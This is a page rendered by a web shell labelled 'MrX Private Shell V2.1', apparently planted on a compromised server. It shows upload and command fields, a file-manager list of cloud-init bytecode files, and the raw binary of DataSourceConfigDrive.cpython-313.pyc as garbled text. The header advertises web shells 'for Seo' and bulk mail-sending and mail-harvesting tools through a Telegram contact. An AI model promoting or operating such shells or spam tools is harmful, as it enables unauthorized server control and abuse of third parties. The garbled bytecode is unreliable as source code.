__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h�,��J�SSKrSSKrSSKJrJrJrJr SSKJrJ	r	 SSK
Jr SSKJ
r
 SSKJr \R "\5rSrS\0rS	rS
rSr\"S\55r"S
S\R4\R65rSrSrSSjrSr SSjr!\r"\\RF44/r$Sr%g)�N)�	lifecycle�sources�subp�util)�
EventScope�	EventType)�eni)�get_ibm_platform)�	openstackziid-dsconfigdrive�instance-id)�vfat�iso9660)zconfig-2zCONFIG-2)�sr�cdc#�Z# �UH!n[S5HnSU<U<3v� M M# g7f)�z/dev/N)�range)�.0�z�is   �I/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceConfigDrive.py�	<genexpr>rs"���E�?�a�E�!�H�q�A�q��H��?�s�)+c��^�\rSrSrSr\R\R\R\R\R10rU4Sjr
SrSrSr\S5r\S5rS	rS
rU=r$)�DataSourceConfigDrive�!�ConfigDrivec�>�[[U]XU5 SUl[R
R
URS5UlSUlSUl	SUl
[RUl
SUlSUl0Ulg)N�config_drive)�superr�__init__�source�os�path�join�seed_dir�version�ec2_metadata�_network_configr�UNSET�network_json�network_eni�
known_macs�files)�self�sys_cfg�distro�paths�	__class__s    �rr �DataSourceConfigDrive.__init__.so���
�#�T�3�G�U�K���������U�^�^�^�D��
���� ���#���#�M�M�����������
�c��[RRU5nU<SUR<SUR<S3nUSUR
--
nU$)Nz [z,ver=�]z[source=%s])r�
DataSource�__str__�dsmoder&r!)r.�root�mstrs   rr8�DataSourceConfigDrive.__str__:sD���!�!�)�)�$�/��#'����d�l�l�C���
����-�-���r4c�$�Sn0n0nURS4H7n[RRU5(dM)[	U5nUn O U(d�URRS5n[US9H]nSn[R"5(aURS5(aSn[R"U[US9nUnU(dM] O U(dg	URS
05n[R$"U[&/5nUR)URS5UR*RS5USS
:Xa[,R.OS/5UlUR0[,R2:Xag	[5UR65nUSn	X�:wa0[9UUR:UR0[,R.:HS9 UR0[,R.:Xa![R=SXR05 g	XlX l URS5Ul!URS5Ul"USUl#URHRKURS055 URS5n
[,RL"U
5Ul'URS5n[,RL"U5Ul*URS5Ul+URS5Ul,g![
Ra! [R"[SU5 GM,f=f![
Ra GN�[R a GN�[
R"a  [R"[SU5 GN�f=f![Pa(n[RSSU5 SUl'SnAGN"SnAff=f![Pa(n[RSSU5 SUl*SnAGN*SnAff=f)Nz
/config-drivez#Failed reading config drive from %s�datasource_list)�dslistz/dev/cd�cd9660)�mtypezBroken config drive: %sF�metadatar9r&�r)r0�networkz&%s: not claiming datasource, dsmode=%szec2-metadata�userdatar-�
vendordataz"Invalid content in vendor-data: %s�vendordata2z#Invalid content in vendor-data2: %s�network_config�networkdataT)-r%r"r#�isdir�read_config_driver�NonReadabler�logexc�LOGr/�get�find_candidate_devs�is_BSD�
startswith�mount_cb�MountFailedError�BrokenMetadata�
mergemanydict�DEFAULT_METADATA�_determine_dsmode�ds_cfgr�DSMODE_PASSr9�DSMODE_DISABLED�get_previous_iidr1�
on_first_bootr0�debugr!rBr'�userdata_rawr&r-�update�convert_vendordata�vendordata_raw�
ValueError�warning�vendordata2_rawr+r*)
r.�found�md�results�sdirr?�devrA�prev_iid�cur_iid�vd�e�vd2s
             r�	_get_data�DataSourceConfigDrive._get_data@sh����
�����]�]�O�4�D��7�7�=�=��&�&��
N�+�D�1�����
5���\�\�%�%�&7�8�F�*�&�9�����;�;�=�=��~�~�i�0�0� (��
E�"�m�m��.�e��G� �E��5��#:�$��
�[�[��R�
(��
�
�
��%5� 6�
7���,�,����H�%�������)�'.�y�'9�Q�'>��#�#�D�
�
����;�;�'�1�1�1��#�D�J�J�/���]�#����

���{�{����w�':�':�:�
��;�;�'�-�-�-��I�I�8�$���
�����
�#�K�K��7���#�K�K�
�3����y�)����
�
���'�+�+�g�r�2�3�
�[�[��
&��	'�")�"<�"<�R�"@�D��
�k�k�-�(��	(�#*�#=�#=�c�#B�D� �#�;�;�'7�8���#�K�K�
�6�����o�(�(�
N����C�!F��M�M�
N��!�,�,����,�,��� �/�/�E��K�K��%>��D�E��h�	'��K�K�<�a�@�"&�D����	'���	(��K�K�=�q�A�#'�D� � ��	(�s_�
L
�3M�N(�O�
0M�M�N%�N%�2/N%�$N%�(
O�2O�O�
P�'P
�
Pc�J�[R"UR55$�N)r�instance_id_matches_system_uuid�get_instance_id)r.r/s  r�check_instance_id�'DataSourceConfigDrive.check_instance_id�s���6�6�t�7K�7K�7M�N�Nr4c��URc�URS[R4;aO[RS5 [R"URURS9UlUR$URb\[R"UR5Ul[RS5 [R"SSSS9 UR$[RS5 UR$)	Nz(network config provided via network_json)r,z.network config provided via converted eni dataz(Eni network configuration in ConfigDrivez24.3z<You can use openstack's network configuration format instead)�
deprecated�deprecated_version�
extra_messagez"no network configuration available)r(r*rr)rNr^r�convert_net_jsonr,r+r	�convert_eni_datar�	deprecate�r.s rrH�$DataSourceConfigDrive.network_config�s������'�� � ��w�}�}�(=�=��	�	�D�E�'0�'A�'A��%�%�$�/�/�(��$� �#�#�#��!�!�-�'*�';�';�D�<L�<L�'M��$��	�	�J�K��#�#�I�'-�7�	��#�#�#��	�	�>�?��#�#�#r4c��g)Nr�rs r�platform�DataSourceConfigDrive.platform�s��r4c�t�URRS5(aSnOSnU<SUR<S3$)z/Return the subplatform metadata source details.z/devzconfig-diskzseed-dirz (�))r!rR)r.�subplatform_types  r�_get_subplatform�&DataSourceConfigDrive._get_subplatform�s2���;�;�!�!�&�)�)�,��)��,�d�k�k�:�:r4)r(r9r'r-r,rBr+r*r%r!r_rerbr&)�__name__�
__module__�__qualname__�__firstlineno__�dsnamer�NETWORKr�BOOT_NEW_INSTANCE�BOOT�BOOT_LEGACY�HOTPLUG�supported_update_eventsr r8rprv�propertyrHr�r��__static_attributes__�
__classcell__)r2s@rrr!s����
�F�	����'�'��N�N��!�!����	
���
��b�HO��$��$�,����;�;r4rc��[R"U5nUR/04UR/04/n/nUHupEnU"U0UD6s $ USe![RanURU5 SnAMCSnAff=f)N���)r�ConfigDriveReader�read_v2�read_v1rL�append)�
source_dir�reader�finders�excps�functor�args�kwargsrns        rrKrK�s���
�
(�
(��
4�F�	����R� �	����R� ��G�
�E�!(���v�	��D�+�F�+�+�")�
��)�O���$�$�	��L�L��O�O��	�s�A�B�%A<�<Bc���[RRURS5S5n[R
"U5R
S5$![a gf=f)N�datar�
)r"r#r$�	get_cpathr�load_text_file�rstrip�IOError)r1�fnames  rr\r\�sT��
�G�G�L�L�����0�-�@�E���"�"�5�)�0�0��6�6������s�$A�
A#�"A#c�R�[U[5(d[S[U5-5eU(aZUR	SS5nU(aAU(a:[
R
S5 UR[R"U55 [UR	S55 g)zDPerforms any first-boot actions using data read from a config-drive.z/Config-drive data expected to be a dict; not %srH�z-Updating network interfaces from config driver-N)�
isinstance�dict�	TypeError�typerOrNrd�apply_network_configr	r}�write_injected_files)r�r0rD�net_confs    rr]r]�sz���d�D�!�!��=��d��L�
�	
���8�8�,�b�1�����K�K�G�H��'�'��(<�(<�X�(F�G�����'�*�+r4c�x�U(a�[RS[U55 UR5HRupUR	[
R5(d[
RU-n[R"XSS9 MT gg![a  [R"[SU5 M�f=f)NzWriting %s injected filesi�)�modezFailed writing file: %s)rNr^�len�itemsrRr"�sepr�
write_filer�rM)r-�filename�contents   rr�r��s�����	�	�-�s�5�z�:�!&�����H��&�&�r�v�v�.�.��6�6�H�,��
F������>�	"/�
���
F����C�!:�H�E�
F�s�4B�&B9�8B9c��Uc/nU(a"[Hn[R"US9 M /n[
H+nUR
[R"SU-55 M- /n[H+nUR
[R"SU-55 M- URSS9 URSS9 XSVs/sHowU;dM
UPM sn-nUVs/sH'owU;d[R"U5(aM%UPM) n	n[RSX�5 U	(a?SU;a9[5up�X�;a(U	RU5 [RSUU
5 U	$![Ra GMnf=fs snfs snf)	a�Return a list of devices that may contain the config drive.

The returned list is sorted by search order where the first item has
should be searched first (highest priority)

config drive v1:
   Per documentation, this is "associated as the last available disk on the
   instance", and should be VFAT.
   Currently, we do not restrict search list to "last available disk"

config drive v2:
   Disk should be:
    * either vfat or iso9660 formatted
    * labeled with 'config-2' or 'CONFIG-2'
)r#zTYPE=%szLABEL=%sT)�reversezdevices=%s dslist=%s�IBMCloudz5IBMCloud device '%s' (%s) removed from candidate list)�OPTICAL_DEVICESr�find_devs_withr�ProcessExecutionError�FS_TYPES�extend�LABEL_TYPES�sort�is_partitionrNr^r
�remove)�
probe_opticalr?�device�	by_fstype�fs_type�by_label�label�d�
candidates�devices�ibm_platform�ibm_paths            rrPrPsr�� �~����%�F�
��#�#��0�&��I�������,�,�Y�'�-B�C�D���H�������+�+�J�%�,@�A�B��
�N�N�4�N� ��M�M�$�M���	�G�	�1�h�5F�Q�	�G�G�J�
���a�h��d�6G�6G��6J��:����I�I�$�g�6��:��'�!1�!3������N�N�8�$��I�I�G���
��N��M�-�-�
��
��$H��s)�E)�?	F�F�$F
�F
�)F�Fc�8�[R"U[5$rs)r�list_from_depends�datasources)�dependss r�get_datasource_listr�Ks���$�$�W�k�:�:r4)NT)TN)&�loggingr"�	cloudinitrrrr�cloudinit.eventrr�
cloudinit.netr	�$cloudinit.sources.DataSourceIBMCloudr
�cloudinit.sources.helpersr�	getLoggerr�rN�DEFAULT_IIDrWr�r��POSSIBLE_MOUNTS�tupler��SourceMixinr7rrKr\r]r�rP�DataSourceConfigDriveNet�DEP_FILESYSTEMr�r�r�r4r�<module>r�s����	�4�4�1��A�/�
����!��"���;�����&�����E�?�E���
h;�I�1�1�7�3E�3E�h;�V��,�	F�>�D1���W�3�3�5�6���;r4

Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-313.pyc File 12.33 KB 0644
DataSourceAliYun.cpython-313.pyc File 18.33 KB 0644
DataSourceAltCloud.cpython-313.pyc File 9.85 KB 0644
DataSourceAzure.cpython-313.pyc File 79.75 KB 0644
DataSourceBigstep.cpython-313.pyc File 2.86 KB 0644
DataSourceCloudCIX.cpython-313.pyc File 7.22 KB 0644
DataSourceCloudSigma.cpython-313.pyc File 5.18 KB 0644
DataSourceCloudStack.cpython-313.pyc File 13.11 KB 0644
DataSourceConfigDrive.cpython-313.pyc File 14.2 KB 0644
DataSourceDigitalOcean.cpython-313.pyc File 6.2 KB 0644
DataSourceEc2.cpython-313.pyc File 43.31 KB 0644
DataSourceExoscale.cpython-313.pyc File 8.9 KB 0644
DataSourceGCE.cpython-313.pyc File 16.12 KB 0644
DataSourceHetzner.cpython-313.pyc File 6.46 KB 0644
DataSourceIBMCloud.cpython-313.pyc File 18.43 KB 0644
DataSourceLXD.cpython-313.pyc File 20.3 KB 0644
DataSourceMAAS.cpython-313.pyc File 18.29 KB 0644
DataSourceNWCS.cpython-313.pyc File 6.76 KB 0644
DataSourceNoCloud.cpython-313.pyc File 17.26 KB 0644
DataSourceNone.cpython-313.pyc File 1.88 KB 0644
DataSourceOVF.cpython-313.pyc File 15.34 KB 0644
DataSourceOpenNebula.cpython-313.pyc File 18.96 KB 0644
DataSourceOpenStack.cpython-313.pyc File 13.1 KB 0644
DataSourceOracle.cpython-313.pyc File 21.77 KB 0644
DataSourceRbxCloud.cpython-313.pyc File 10.25 KB 0644
DataSourceScaleway.cpython-313.pyc File 17.07 KB 0644
DataSourceSmartOS.cpython-313.pyc File 38.32 KB 0644
DataSourceUpCloud.cpython-313.pyc File 7.11 KB 0644
DataSourceVMware.cpython-313.pyc File 35.8 KB 0644
DataSourceVultr.cpython-313.pyc File 5.79 KB 0644
DataSourceWSL.cpython-313.pyc File 15.48 KB 0644
__init__.cpython-313.pyc File 47.24 KB 0644
Filemanager